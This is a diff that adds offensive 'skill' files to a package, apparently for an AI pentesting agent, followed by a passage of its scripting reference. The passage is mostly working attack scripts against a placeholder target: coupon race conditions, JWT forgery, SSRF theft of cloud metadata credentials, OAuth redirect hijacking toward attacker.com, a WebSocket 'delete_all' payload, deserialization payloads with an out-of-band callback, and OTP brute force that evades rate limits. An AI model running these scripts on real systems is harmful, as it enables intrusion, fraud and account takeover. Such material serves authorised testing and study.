- package/skills/offensive/airecon-fork/technologies-docker-container/SKILL.md +266 -0
- package/skills/offensive/airecon-fork/technologies-elasticsearch/SKILL.md +226 -0
- package/skills/offensive/airecon-fork/technologies-firebase-firestore/SKILL.md +213 -0
- package/skills/offensive/airecon-fork/technologies-frida-hooking/SKILL.md +387 -0
- package/skills/offensive/airecon-fork/technologies-gitlab-github/SKILL.md +259 -0
- package/skills/offensive/airecon-fork/technologies-jenkins/SKILL.md +256 -0
- package/skills/offensive/airecon-fork/technologies-kubernetes-pentest/SKILL.md +281 -0
- package/skills/offensive/airecon-fork/technologies-memcached/SKILL.md +230 -0
- package/skills/offensive/airecon-fork/technologies-mobile-app-pentesting/SKILL.md +105 -0
- package/skills/offensive/airecon-fork/technologies-mongodb/SKILL.md +257 -0
- package/skills/offensive/airecon-fork/technologies-nginx-apache/SKILL.md +280 -0
- package/skills/offensive/airecon-fork/technologies-observability-stack-attacks/SKILL.md +501 -0
- package/skills/offensive/airecon-fork/technologies-redis/SKILL.md +236 -0
- package/skills/offensive/airecon-fork/technologies-supabase/SKILL.md +270 -0
- package/skills/offensive/airecon-fork/technologies-tomcat/SKILL.md +232 -0
- package/skills/offensive/airecon-fork/tools-advanced-fuzzing/SKILL.md +351 -0
- package/skills/offensive/airecon-fork/tools-browser-automation/SKILL.md +300 -0
- package/skills/offensive/airecon-fork/tools-caido/SKILL.md +776 -0
- package/skills/offensive/airecon-fork/tools-code-review/SKILL.md +71 -0
- package/skills/offensive/airecon-fork/tools-dalfox/SKILL.md +189 -0
- package/skills/offensive/airecon-fork/tools-hashcat-john/SKILL.md +258 -0
- package/skills/offensive/airecon-fork/tools-impacket/SKILL.md +227 -0
- package/skills/offensive/airecon-fork/tools-install/SKILL.md +202 -0
- package/skills/offensive/airecon-fork/tools-metasploit/SKILL.md +270 -0
- package/skills/offensive/airecon-fork/tools-nmap/SKILL.md +211 -0
- package/skills/offensive/airecon-fork/tools-nuclei/SKILL.md +175 -0
- package/skills/offensive/airecon-fork/tools-reporting/SKILL.md +47 -0
- package/skills/offensive/airecon-fork/tools-scripting/SKILL.md +1939 -0
- package/skills/offensive/airecon-fork/tools-semgrep/SKILL.md +202 -0
- package/skills/offensive/airecon-fork/tools-source-audit/SKILL.md +308 -0
- package/skills/offensive/airecon-fork/tools-sqlmap/SKILL.md +137 -0
- package/skills/offensive/airecon-fork/tools-tool-catalog/SKILL.md +320 -0
- package/skills/offensive/airecon-fork/tools-wapiti/SKILL.md +293 -0
- package/skills/offensive/airecon-fork/vulnerabilities-2fa-bypass/SKILL.md +219 -0
- package/skills/offensive/airecon-fork/vulnerabilities-account-takeover/SKILL.md +223 -0
- package/skills/offensive/airecon-fork/vulnerabilities-api-schema-exposure/SKILL.md +849 -0
- package/skills/offensive/airecon-fork/vulnerabilities-api-testing/SKILL.md +278 -0
- package/skills/offensive/airecon-fork/vulnerabilities-auth-workflow/SKILL.md +252 -0
- package/skills/offensive/airecon-fork/vulnerabilities-authentication-jwt/SKILL.md +158 -0
- package/skills/offensive/airecon-fork/vulnerabilities-bfla/SKILL.md +156 -0
- package/skills/offensive/airecon-fork/vulnerabilities-blind-xss/SKILL.md +111 -0
- package/skills/offensive/airecon-fork/vulnerabilities-business-logic/SKILL.md +313 -0
- package/skills/offensive/airecon-fork/vulnerabilities-cors/SKILL.md +242 -0
- package/skills/offensive/airecon-fork/vulnerabilities-crlf-injection/SKILL.md +146 -0
- package/skills/offensive/airecon-fork/vulnerabilities-csrf/SKILL.md +200 -0
- package/skills/offensive/airecon-fork/vulnerabilities-csrf-advanced-bypass/SKILL.md +536 -0
- package/skills/offensive/airecon-fork/vulnerabilities-deserialization/SKILL.md +363 -0
- package/skills/offensive/airecon-fork/vulnerabilities-dom-based-vulnerabilities/SKILL.md +105 -0
- package/skills/offensive/airecon-fork/vulnerabilities-exploitation/SKILL.md +286 -0
- package/skills/offensive/airecon-fork/vulnerabilities-grpc/SKILL.md +123 -0
- package/skills/offensive/airecon-fork/vulnerabilities-host-header-injection/SKILL.md +169 -0
- package/skills/offensive/airecon-fork/vulnerabilities-http-smuggling/SKILL.md +411 -0
- package/skills/offensive/airecon-fork/vulnerabilities-idor/SKILL.md +705 -0
- package/skills/offensive/airecon-fork/vulnerabilities-information-disclosure/SKILL.md +867 -0
- package/skills/offensive/airecon-fork/vulnerabilities-insecure-file-uploads/SKILL.md +190 -0
- package/skills/offensive/airecon-fork/vulnerabilities-jwt-attacks/SKILL.md +270 -0
- package/skills/offensive/airecon-fork/vulnerabilities-kubernetes/SKILL.md +252 -0
- package/skills/offensive/airecon-fork/vulnerabilities-mass-assignment/SKILL.md +788 -0
- package/skills/offensive/airecon-fork/vulnerabilities-nosql-injection/SKILL.md +204 -0
- package/skills/offensive/airecon-fork/vulnerabilities-oauth-misconfig/SKILL.md +220 -0
- package/skills/offensive/airecon-fork/vulnerabilities-oauth-saml/SKILL.md +163 -0
- package/skills/offensive/airecon-fork/vulnerabilities-open-redirect/SKILL.md +167 -0
- package/skills/offensive/airecon-fork/vulnerabilities-password-reset-poisoning/SKILL.md +66 -0
- package/skills/offensive/airecon-fork/vulnerabilities-path-traversal/SKILL.md +192 -0
- package/skills/offensive/airecon-fork/vulnerabilities-privilege-escalation/SKILL.md +320 -0
- package/skills/offensive/airecon-fork/vulnerabilities-prototype-pollution/SKILL.md +242 -0
- package/skills/offensive/airecon-fork/vulnerabilities-race-conditions/SKILL.md +192 -0
- package/skills/offensive/airecon-fork/vulnerabilities-rce/SKILL.md +240 -0
- package/skills/offensive/airecon-fork/vulnerabilities-sensitive-file-pii-exposure/SKILL.md +589 -0
- package/skills/offensive/airecon-fork/vulnerabilities-spring4shell/SKILL.md +86 -0
- package/skills/offensive/airecon-fork/vulnerabilities-sql-injection/SKILL.md +313 -0
- package/skills/offensive/airecon-fork/vulnerabilities-ssrf/SKILL.md +183 -0
- package/skills/offensive/airecon-fork/vulnerabilities-ssti/SKILL.md +344 -0
- package/skills/offensive/airecon-fork/vulnerabilities-subdomain-takeover/SKILL.md +160 -0
- package/skills/offensive/airecon-fork/vulnerabilities-supply-chain/SKILL.md +125 -0
- package/skills/offensive/airecon-fork/vulnerabilities-unhandled-exception-differential/SKILL.md +742 -0
- package/skills/offensive/airecon-fork/vulnerabilities-waf-detection/SKILL.md +90 -0
- package/skills/offensive/airecon-fork/vulnerabilities-web-cache-poisoning/SKILL.md +233 -0
- package/skills/offensive/airecon-fork/vulnerabilities-websocket/SKILL.md +180 -0
- package/skills/offensive/airecon-fork/vulnerabilities-xss/SKILL.md +316 -0
- package/skills/offensive/airecon-fork/vulnerabilities-xxe/SKILL.md +222 -0
- package/skills/offensive/matty-fork/cicd-redteam/SKILL.md +531 -0
- package/skills/offensive/matty-fork/cloud-security/SKILL.md +106 -0
- package/skills/offensive/matty-fork/container-escape/SKILL.md +174 -0
- package/skills/offensive/matty-fork/mobile-pentester/SKILL.md +357 -0
- package/skills/offensive/matty-fork/subdomain-takeover/SKILL.md +154 -0
- package/skills/osint/elementalsouls-fork/offensive-osint/README.md +92 -0
- package/skills/osint/elementalsouls-fork/offensive-osint/SKILL.md +4177 -0
- package/skills/osint/elementalsouls-fork/osint-methodology/README.md +66 -0
- package/skills/osint/elementalsouls-fork/osint-methodology/SKILL.md +1695 -0
|
@@ -0,0 +1,1939 @@
|
|
|
1
|
+
<!-- aegis-local: forked 2026-05-04 from pikpikcu/airecon@9a21453459d87eefb012ea355c79b593d0d3c0cc (MIT-licensed); attribution preserved, see ATTRIBUTION.md -->
|
|
2
|
+
|
|
3
|
+
## Advanced Scripts & One-Liners (Expert Reference)
|
|
4
|
+
|
|
5
|
+
These are complex bash one-liners and Python script templates. **DO NOT COPY THEM BLINDLY.** Adapt them to your specific target's logic.
|
|
6
|
+
|
|
7
|
+
### Bash One-Liners
|
|
8
|
+
|
|
9
|
+
**1. Extract and Resolve ASN to CIDRs:**
|
|
10
|
+
```bash
|
|
11
|
+
# Get ASN for an IP, extract CIDRs from BGP HE
|
|
12
|
+
ip_target="8.8.8.8"
|
|
13
|
+
asn=$(curl -s "https://ipinfo.io/$ip_target/json" | jq -r '.org' | grep -o 'AS[0-9]*')
|
|
14
|
+
curl -s "https://bgp.he.net/$asn#_prefixes" | grep -oE '([0-9]{1,3}\.){3}[0-9]{1,3}/[0-9]{1,2}' > output/cidrs.txt
|
|
15
|
+
```
|
|
16
|
+
|
|
17
|
+
**2. Extract JavaScript Endpoints parallelly:**
|
|
18
|
+
```bash
|
|
19
|
+
# Download JS files and extract endpoints using ripgrep
|
|
20
|
+
cat output/urls_all_deduped.txt | grep "\.js$" | parallel -j 20 "curl -sk {} | rg -o '(?<=["\'])(/[a-zA-Z0-9_/?=&.-]+)(?=["\'])' >> output/extracted_js_endpoints.txt"
|
|
21
|
+
sort -u output/extracted_js_endpoints.txt -o output/extracted_js_endpoints.txt
|
|
22
|
+
```
|
|
23
|
+
|
|
24
|
+
**3. Hidden Virtual Host Brute-Force (Wget/Curl):**
|
|
25
|
+
```bash
|
|
26
|
+
# Bypass WAF/Routing by testing internal VHosts
|
|
27
|
+
ip="192.168.1.100"
|
|
28
|
+
cat /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt | parallel -j 50 "curl -s -o /dev/null -w '%{http_code} %{size_download} {}' -H 'Host: {}.target.internal' http://$ip" | grep -v "404\|403"
|
|
29
|
+
```
|
|
30
|
+
|
|
31
|
+
### Python Script Templates (Save in `tools/`)
|
|
32
|
+
**MANDATORY RULE:** ALL custom scripts (Python, Bash, etc.) MUST be created and saved in the `tools/` directory (e.g. `tools/exploit.py`). NEVER save scripts to the `output/` directory and NEVER save them to the root workspace.
|
|
33
|
+
|
|
34
|
+
**1. Race Condition — HTTP/2 Single-Packet Attack (Last-Byte Sync):**
|
|
35
|
+
```python
|
|
36
|
+
# tools/race_http2.py
|
|
37
|
+
# Requires: pip install httpx[http2] --break-system-packages
|
|
38
|
+
#
|
|
39
|
+
# HOW IT WORKS:
|
|
40
|
+
# HTTP/2 multiplexes all requests over ONE TCP connection.
|
|
41
|
+
# We warm the connection first, then fire all requests simultaneously.
|
|
42
|
+
# The server receives them in a single network packet — this is the
|
|
43
|
+
# equivalent of Burp Turbo Intruder's "single-packet attack".
|
|
44
|
+
#
|
|
45
|
+
# Use this for: coupon/voucher double-redeem, double-spend, quota bypass,
|
|
46
|
+
# OTP/token concurrent consumption, gift card abuse, inventory race.
|
|
47
|
+
|
|
48
|
+
import asyncio
|
|
49
|
+
import httpx
|
|
50
|
+
import json
|
|
51
|
+
import time
|
|
52
|
+
|
|
53
|
+
# ── CONFIG ──────────────────────────────────────────────────────────────────
|
|
54
|
+
TARGET_URL = "https://target.com/api/v1/redeem_coupon"
|
|
55
|
+
SESSION_COOKIE = "session=YOUR_SESSION_COOKIE"
|
|
56
|
+
PAYLOAD = json.dumps({"coupon_code": "FREE100"})
|
|
57
|
+
N_REQUESTS = 20 # start low (10-20), scale if window is wide
|
|
58
|
+
# ────────────────────────────────────────────────────────────────────────────
|
|
59
|
+
|
|
60
|
+
HEADERS = {
|
|
61
|
+
"Content-Type": "application/json",
|
|
62
|
+
"Cookie": SESSION_COOKIE,
|
|
63
|
+
"Content-Length": str(len(PAYLOAD)),
|
|
64
|
+
}
|
|
65
|
+
|
|
66
|
+
async def race():
|
|
67
|
+
async with httpx.AsyncClient(http2=True, verify=False, timeout=15.0) as client:
|
|
68
|
+
# 1. Warm the connection — removes TLS/TCP handshake jitter
|
|
69
|
+
try:
|
|
70
|
+
await client.get(TARGET_URL, headers={"Cookie": SESSION_COOKIE})
|
|
71
|
+
print(f"[*] Connection warmed → {TARGET_URL}")
|
|
72
|
+
except Exception:
|
|
73
|
+
pass
|
|
74
|
+
|
|
75
|
+
# 2. Build all tasks before starting (minimize scheduling delay)
|
|
76
|
+
tasks = [
|
|
77
|
+
client.post(TARGET_URL, content=PAYLOAD, headers=HEADERS)
|
|
78
|
+
for _ in range(N_REQUESTS)
|
|
79
|
+
]
|
|
80
|
+
|
|
81
|
+
# 3. Fire simultaneously — single asyncio.gather = same event-loop tick
|
|
82
|
+
start = time.perf_counter()
|
|
83
|
+
results = await asyncio.gather(*tasks, return_exceptions=True)
|
|
84
|
+
elapsed = time.perf_counter() - start
|
|
85
|
+
|
|
86
|
+
# 4. Analyze results
|
|
87
|
+
successes = []
|
|
88
|
+
for i, r in enumerate(results):
|
|
89
|
+
if isinstance(r, Exception):
|
|
90
|
+
print(f" [!] req {i:02d}: ERROR — {r}")
|
|
91
|
+
continue
|
|
92
|
+
marker = "[+] SUCCESS" if r.status_code == 200 else f" [{r.status_code}]"
|
|
93
|
+
print(f" {marker} req {i:02d}: {len(r.text)}b — {r.text[:120]}")
|
|
94
|
+
if r.status_code == 200 and "error" not in r.text.lower():
|
|
95
|
+
successes.append(i)
|
|
96
|
+
|
|
97
|
+
print(f"\n[*] {N_REQUESTS} requests in {elapsed:.3f}s")
|
|
98
|
+
print(f"[*] Successes: {len(successes)} → req ids {successes}")
|
|
99
|
+
if len(successes) > 1:
|
|
100
|
+
print("[!!!] RACE CONDITION CONFIRMED — multiple successes for single-use resource!")
|
|
101
|
+
|
|
102
|
+
asyncio.run(race())
|
|
103
|
+
```
|
|
104
|
+
|
|
105
|
+
**1b. Race Condition — Broad Variant (aiohttp, HTTP/1.1, multi-session):**
|
|
106
|
+
```python
|
|
107
|
+
# tools/race_multiuser.py
|
|
108
|
+
# Use when: HTTP/2 not available, or testing cross-user races (different accounts)
|
|
109
|
+
# Each session = separate TCP connection = separate "user"
|
|
110
|
+
import asyncio, aiohttp, json, time
|
|
111
|
+
|
|
112
|
+
TARGET_URL = "https://target.com/api/v1/redeem_coupon"
|
|
113
|
+
SESSIONS = [
|
|
114
|
+
{"Cookie": "session=ACCOUNT_1_COOKIE"},
|
|
115
|
+
{"Cookie": "session=ACCOUNT_2_COOKIE"},
|
|
116
|
+
# add more accounts for cross-user testing
|
|
117
|
+
]
|
|
118
|
+
PAYLOAD = {"coupon_code": "FREE100"}
|
|
119
|
+
|
|
120
|
+
async def send(session, headers):
|
|
121
|
+
async with session.post(TARGET_URL, headers=headers, json=PAYLOAD) as r:
|
|
122
|
+
text = await r.text()
|
|
123
|
+
return r.status, text
|
|
124
|
+
|
|
125
|
+
async def race():
|
|
126
|
+
connector = aiohttp.TCPConnector(limit=100)
|
|
127
|
+
async with aiohttp.ClientSession(connector=connector) as session:
|
|
128
|
+
tasks = [send(session, h) for h in SESSIONS * 5] # 5 attempts per account
|
|
129
|
+
start = time.perf_counter()
|
|
130
|
+
results = await asyncio.gather(*tasks, return_exceptions=True)
|
|
131
|
+
elapsed = time.perf_counter() - start
|
|
132
|
+
|
|
133
|
+
successes = [(i, r) for i, r in enumerate(results)
|
|
134
|
+
if not isinstance(r, Exception) and r[0] == 200]
|
|
135
|
+
print(f"[*] {len(tasks)} requests in {elapsed:.3f}s | Successes: {len(successes)}")
|
|
136
|
+
for idx, (status, body) in successes:
|
|
137
|
+
print(f" [+] idx={idx} status={status} body={body[:100]}")
|
|
138
|
+
|
|
139
|
+
asyncio.run(race())
|
|
140
|
+
```
|
|
141
|
+
|
|
142
|
+
**2. Custom JWT Manipulator (Algorithm Confusion):**
|
|
143
|
+
```python
|
|
144
|
+
# tools/jwt_tamper.py
|
|
145
|
+
import jwt # PyJWT
|
|
146
|
+
import requests
|
|
147
|
+
|
|
148
|
+
# 1. Fetch public key of target
|
|
149
|
+
pub_key = requests.get("https://target.com/.well-known/jwks.json").text
|
|
150
|
+
|
|
151
|
+
# 2. Forge token using Public Key but signed as HMAC (HS256) instead of RSA (RS256)
|
|
152
|
+
header = {"alg": "HS256", "typ": "JWT"}
|
|
153
|
+
payload = {"user": "admin", "role": "superuser"}
|
|
154
|
+
|
|
155
|
+
# Note: We use the PUBLIC KEY string as the HMAC secret
|
|
156
|
+
forged_token = jwt.encode(payload, pub_key, algorithm="HS256", headers=header)
|
|
157
|
+
print(f"Forged Token: {forged_token}")
|
|
158
|
+
|
|
159
|
+
# 3. Test the token
|
|
160
|
+
resp = requests.get("https://target.com/admin_dashboard", headers={"Cookie": f"session={forged_token}"})
|
|
161
|
+
print(resp.status_code)
|
|
162
|
+
```
|
|
163
|
+
|
|
164
|
+
**3. Bespoke Logic Fuzzer (JSON Mutation):**
|
|
165
|
+
```python
|
|
166
|
+
# tools/json_mutator.py
|
|
167
|
+
import requests
|
|
168
|
+
import json
|
|
169
|
+
|
|
170
|
+
base_url = "https://target.com/api/profile/update"
|
|
171
|
+
headers = {"Content-Type": "application/json"}
|
|
172
|
+
valid_payload = {"email": "test@test.com", "age": 25}
|
|
173
|
+
|
|
174
|
+
mutations = [
|
|
175
|
+
{"email": {"$ne": "admin@target.com"}, "age": 25}, # NoSQL injection attempt
|
|
176
|
+
{"email": ["test@test.com", "admin@target.com"], "age": 25}, # Array injection
|
|
177
|
+
{"email": "test@test.com", "age": "25", "isAdmin": True}, # Mass assignment
|
|
178
|
+
{"email": "test@test.com", "__proto__": {"isAdmin": True}} # Prototype pollution
|
|
179
|
+
]
|
|
180
|
+
|
|
181
|
+
for m in mutations:
|
|
182
|
+
resp = requests.post(base_url, headers=headers, json=m)
|
|
183
|
+
print(f"Payload: {json.dumps(m)} | Status: {resp.status_code} | Length: {len(resp.text)}")
|
|
184
|
+
```
|
|
185
|
+
|
|
186
|
+
**4. S3 Bucket Bruteforce (Parallel cURL):**
|
|
187
|
+
```bash
|
|
188
|
+
# Permute wordlists to find hidden S3 buckets for the target domain
|
|
189
|
+
target="company"
|
|
190
|
+
cat /usr/share/seclists/Discovery/Web-Content/common.txt | parallel -j 50 "curl -s -o /dev/null -w '%{http_code} {}' http://{}-${target}.s3.amazonaws.com" | grep -v 404
|
|
191
|
+
```
|
|
192
|
+
|
|
193
|
+
**5. Automated Bypassing of 403 Forbidden:**
|
|
194
|
+
```bash
|
|
195
|
+
# Try common bypass headers and path overrides on a 403 endpoint
|
|
196
|
+
url="https://target.com/admin"
|
|
197
|
+
headers=("X-Original-URL: /admin" "X-Rewrite-URL: /admin" "X-Forwarded-For: 127.0.0.1" "X-Custom-IP-Authorization: 127.0.0.1")
|
|
198
|
+
for h in "${headers[@]}"; do curl -s -o /dev/null -w "%{http_code} %{size_download} (Header: $h)
|
|
199
|
+
" -H "$h" "$url"; done
|
|
200
|
+
for p in "%2e/admin" "admin/." "//admin//" "admin%20" "%09admin"; do curl -s -o /dev/null -w "%{http_code} %{size_download} (Path: $p)
|
|
201
|
+
" "https://target.com/$p"; done
|
|
202
|
+
```
|
|
203
|
+
|
|
204
|
+
---
|
|
205
|
+
|
|
206
|
+
**4. Blind SSRF Pivoting & Cloud Metadata Extraction:**
|
|
207
|
+
```python
|
|
208
|
+
# tools/ssrf_pivot.py
|
|
209
|
+
import requests
|
|
210
|
+
|
|
211
|
+
target_url = "https://target.com/webhook/test?url="
|
|
212
|
+
# 169.254.169.254 is the AWS/GCP/Azure metadata IP. 0x0 is a bypass for localhost (127.0.0.1).
|
|
213
|
+
payloads = [
|
|
214
|
+
"http://169.254.169.254/latest/meta-data/iam/security-credentials/",
|
|
215
|
+
"http://0x0:80/",
|
|
216
|
+
"http://127.0.0.1:22/",
|
|
217
|
+
"http://localhost:6379/", # Redis
|
|
218
|
+
"dict://127.0.0.1:11211/stat", # Memcached via dict protocol
|
|
219
|
+
"gopher://127.0.0.1:3306/_" # MySQL via gopher
|
|
220
|
+
]
|
|
221
|
+
|
|
222
|
+
for payload in payloads:
|
|
223
|
+
full_url = target_url + payload
|
|
224
|
+
try:
|
|
225
|
+
resp = requests.get(full_url, timeout=5)
|
|
226
|
+
print(f"Payload: {payload} | Status: {resp.status_code} | Length: {len(resp.text)}")
|
|
227
|
+
if "AccessKeyId" in resp.text or "redis_version" in resp.text:
|
|
228
|
+
print(f"[!] Critical data found for {payload}:
|
|
229
|
+
{resp.text[:500]}")
|
|
230
|
+
except requests.exceptions.RequestException as e:
|
|
231
|
+
print(f"Payload: {payload} | Error: {e}")
|
|
232
|
+
```
|
|
233
|
+
|
|
234
|
+
**5. GraphQL Introspection & Mutation Extraction:**
|
|
235
|
+
```python
|
|
236
|
+
# tools/graphql_dumper.py
|
|
237
|
+
import requests
|
|
238
|
+
import json
|
|
239
|
+
|
|
240
|
+
graphql_url = "https://target.com/graphql"
|
|
241
|
+
headers = {"Content-Type": "application/json"}
|
|
242
|
+
|
|
243
|
+
introspection_query = '''
|
|
244
|
+
query IntrospectionQuery {
|
|
245
|
+
__schema {
|
|
246
|
+
queryType { name }
|
|
247
|
+
mutationType { name }
|
|
248
|
+
subscriptionType { name }
|
|
249
|
+
types {
|
|
250
|
+
...FullType
|
|
251
|
+
}
|
|
252
|
+
}
|
|
253
|
+
}
|
|
254
|
+
fragment FullType on __Type {
|
|
255
|
+
kind
|
|
256
|
+
name
|
|
257
|
+
description
|
|
258
|
+
fields(includeDeprecated: true) { name }
|
|
259
|
+
}
|
|
260
|
+
'''
|
|
261
|
+
response = requests.post(graphql_url, headers=headers, json={"query": introspection_query})
|
|
262
|
+
|
|
263
|
+
if response.status_code == 200:
|
|
264
|
+
schema = response.json()
|
|
265
|
+
print("[+] Introspection Successful. Extracting Mutations...")
|
|
266
|
+
for t in schema.get('data', {}).get('__schema', {}).get('types', []):
|
|
267
|
+
if t.get('name') == 'Mutation': # Or Query
|
|
268
|
+
for field in t.get('fields', []):
|
|
269
|
+
print(f" - {field['name']}")
|
|
270
|
+
|
|
271
|
+
with open("output/graphql_schema_dump.json", "w") as f:
|
|
272
|
+
json.dump(schema, f, indent=2)
|
|
273
|
+
else:
|
|
274
|
+
print(f"[-] Introspection Failed. Status: {response.status_code}")
|
|
275
|
+
```
|
|
276
|
+
|
|
277
|
+
**6. Automated OAuth Flow Manipulation (State / CSRF Bypass):**
|
|
278
|
+
```python
|
|
279
|
+
# tools/oauth_tester.py
|
|
280
|
+
import requests
|
|
281
|
+
|
|
282
|
+
# Goal: Try to swap the 'state' or 'redirect_uri' in an OAuth initiation
|
|
283
|
+
init_url = "https://target.com/auth/oauth2/init"
|
|
284
|
+
|
|
285
|
+
# 1. Grab initial 302 redirect URL to the provider
|
|
286
|
+
resp = requests.get(init_url, allow_redirects=False)
|
|
287
|
+
if "Location" in resp.headers:
|
|
288
|
+
oauth_url = resp.headers["Location"]
|
|
289
|
+
print(f"[+] Found OAuth URL: {oauth_url}")
|
|
290
|
+
|
|
291
|
+
# Example URL: https://provider.com/login?client_id=123&redirect_uri=https://target.com/callback&state=abc
|
|
292
|
+
# Let's try to manipulate the redirect_uri to an attacker domain
|
|
293
|
+
import urllib.parse
|
|
294
|
+
parsed = urllib.parse.urlparse(oauth_url)
|
|
295
|
+
params = urllib.parse.parse_qs(parsed.query)
|
|
296
|
+
|
|
297
|
+
if "redirect_uri" in params:
|
|
298
|
+
original_uri = params["redirect_uri"][0]
|
|
299
|
+
# Common Bypasses
|
|
300
|
+
bypasses = [
|
|
301
|
+
"https://attacker.com",
|
|
302
|
+
f"{original_uri}@attacker.com",
|
|
303
|
+
f"{original_uri}.attacker.com",
|
|
304
|
+
original_uri.replace("https://", "http://"),
|
|
305
|
+
original_uri + "%0d%0aHeader-Injection: test"
|
|
306
|
+
]
|
|
307
|
+
|
|
308
|
+
for b in bypasses:
|
|
309
|
+
new_params = params.copy()
|
|
310
|
+
new_params["redirect_uri"] = b
|
|
311
|
+
encoded_query = urllib.parse.urlencode(new_params, doseq=True)
|
|
312
|
+
test_url = parsed._replace(query=encoded_query).geturl()
|
|
313
|
+
print(f"[*] Testing manipulated redirect_uri: {b}")
|
|
314
|
+
# In a real scenario, you'd feed this manipulated URL to a browser instance and see if the provider accepts it
|
|
315
|
+
# and redirects back to the attacker domain.
|
|
316
|
+
```
|
|
317
|
+
|
|
318
|
+
**7. WebSocket Cross-Site Hijacking (CSWSH) & Fuzzing:**
|
|
319
|
+
```python
|
|
320
|
+
# tools/websocket_fuzzer.py
|
|
321
|
+
import asyncio
|
|
322
|
+
import websockets
|
|
323
|
+
import json
|
|
324
|
+
|
|
325
|
+
ws_url = "wss://target.com/socket.io/?EIO=4&transport=websocket"
|
|
326
|
+
# If the WS endpoint doesn't check Origin or use CSRF tokens during handshake, it's vulnerable to CSWSH.
|
|
327
|
+
headers = {"Origin": "https://attacker.com", "Cookie": "session=YOUR_VALID_COOKIE_HERE"}
|
|
328
|
+
|
|
329
|
+
async def test_ws():
|
|
330
|
+
try:
|
|
331
|
+
async with websockets.connect(ws_url, extra_headers=headers) as websocket:
|
|
332
|
+
print("[+] Connected successfully with attacker Origin! (Potential CSWSH)")
|
|
333
|
+
|
|
334
|
+
# Fuzzing incoming message handlers
|
|
335
|
+
payloads = [
|
|
336
|
+
"42[\"admin_action\", {\"action\": \"delete_all\"}]", # Socket.IO format
|
|
337
|
+
json.dumps({"type": "auth", "token": "../../../etc/passwd"}), # Path traversal in token?
|
|
338
|
+
json.dumps({"type": "message", "__proto__": {"isAdmin": True}}) # Prototype pollution via WS
|
|
339
|
+
]
|
|
340
|
+
|
|
341
|
+
for p in payloads:
|
|
342
|
+
print(f"[*] Sending: {p}")
|
|
343
|
+
await websocket.send(p)
|
|
344
|
+
try:
|
|
345
|
+
# Wait for a brief moment for a response
|
|
346
|
+
response = await asyncio.wait_for(websocket.recv(), timeout=2.0)
|
|
347
|
+
print(f"[<] Received: {response}")
|
|
348
|
+
except asyncio.TimeoutError:
|
|
349
|
+
print(f"[-] No response for {p}")
|
|
350
|
+
|
|
351
|
+
except Exception as e:
|
|
352
|
+
print(f"[-] Connection failed: {e}")
|
|
353
|
+
|
|
354
|
+
asyncio.run(test_ws())
|
|
355
|
+
```
|
|
356
|
+
|
|
357
|
+
**8. Blind Deserialization / Object Injection Tester:**
|
|
358
|
+
```python
|
|
359
|
+
# tools/deserialization_tester.py
|
|
360
|
+
import requests
|
|
361
|
+
import base64
|
|
362
|
+
import urllib.parse
|
|
363
|
+
|
|
364
|
+
url = "https://target.com/api/user/prefs"
|
|
365
|
+
# Testing common sinks like Java (AC ED 00 05), PHP (O:), Python Pickle (cos), .NET (AAEAAAD//)
|
|
366
|
+
# We use a pingback/OOB listener like interactsh or burp collaborator to catch blind execution
|
|
367
|
+
collab_url = "http://YOUR_OOB_LISTENER.com"
|
|
368
|
+
|
|
369
|
+
# Example: Simple PHP Object Injection checking for magic method __destruct triggers
|
|
370
|
+
php_payload = f'O:14:"MessageLogger":1:{{s:8:"log_file";s:{len(collab_url)+10}:"http://{collab_url}";}}'
|
|
371
|
+
b64_php = base64.b64encode(php_payload.encode()).decode()
|
|
372
|
+
|
|
373
|
+
test_cases = [
|
|
374
|
+
{"Cookie": f"prefs={urllib.parse.quote(php_payload)}"},
|
|
375
|
+
{"Cookie": f"prefs={b64_php}"}
|
|
376
|
+
]
|
|
377
|
+
|
|
378
|
+
for headers in test_cases:
|
|
379
|
+
print(f"[*] Testing headers: {headers}")
|
|
380
|
+
try:
|
|
381
|
+
requests.get(url, headers=headers, timeout=5)
|
|
382
|
+
except:
|
|
383
|
+
pass
|
|
384
|
+
print("[!] Check your OOB listener now.")
|
|
385
|
+
|
|
386
|
+
# Note for LLM: If you suspect Java, generate payloads using 'ysoserial'.
|
|
387
|
+
# Example:
|
|
388
|
+
# java -jar ysoserial.jar CommonsCollections4 "curl http://YOUR_OOB_LISTENER" > payload.bin
|
|
389
|
+
# base64 payload.bin > payload.b64
|
|
390
|
+
```
|
|
391
|
+
|
|
392
|
+
**9. Advanced 2FA / OTP Bypass via Response Manipulation & Rate Limit Evasion:**
|
|
393
|
+
```python
|
|
394
|
+
# tools/otp_bypass.py
|
|
395
|
+
import requests
|
|
396
|
+
from concurrent.futures import ThreadPoolExecutor
|
|
397
|
+
|
|
398
|
+
base_url = "https://target.com/api/auth/verify_otp"
|
|
399
|
+
phone_number = "+1234567890"
|
|
400
|
+
|
|
401
|
+
def try_otp(otp_code):
|
|
402
|
+
# Evasion techniques:
|
|
403
|
+
# 1. Append null bytes or random chars
|
|
404
|
+
# 2. IP Rotation via X-Forwarded-For
|
|
405
|
+
headers = {
|
|
406
|
+
"X-Forwarded-For": f"203.0.113.{otp_code % 255}",
|
|
407
|
+
"Content-Type": "application/json"
|
|
408
|
+
}
|
|
409
|
+
|
|
410
|
+
# Logic flaws to test:
|
|
411
|
+
# - Arrays instead of strings: {"otp": ["1234", "0000"]}
|
|
412
|
+
# - Missing parameters
|
|
413
|
+
# - Sending successful response artificially (if client-side verification is used)
|
|
414
|
+
|
|
415
|
+
payload = {"phone": phone_number, "otp": str(otp_code).zfill(4)}
|
|
416
|
+
|
|
417
|
+
try:
|
|
418
|
+
resp = requests.post(base_url, json=payload, headers=headers, timeout=3)
|
|
419
|
+
if resp.status_code == 200 and "invalid" not in resp.text.lower():
|
|
420
|
+
print(f"[+] Possible bypass with OTP: {otp_code} | Resp: {resp.text}")
|
|
421
|
+
return True
|
|
422
|
+
except:
|
|
423
|
+
pass
|
|
424
|
+
return False
|
|
425
|
+
|
|
426
|
+
# Test a small range or use a logical bypass (e.g., testing 0000, 1111, or forcing an error)
|
|
427
|
+
# For full bruteforce, use ThreadPoolExecutor
|
|
428
|
+
with ThreadPoolExecutor(max_workers=50) as executor:
|
|
429
|
+
# Testing 0000 to 9999
|
|
430
|
+
results = executor.map(try_otp, range(10000))
|
|
431
|
+
```
|
|
432
|
+
|
|
433
|
+
**10. Advanced CORS Misconfiguration Exploit Generator:**
|
|
434
|
+
```python
|
|
435
|
+
# tools/cors_exploit.py
|
|
436
|
+
# Generates an HTML payload to prove a CORS misconfiguration (e.g., origin reflection + credentials=true)
|
|
437
|
+
target_endpoint = "https://target.com/api/user/private_data"
|
|
438
|
+
|
|
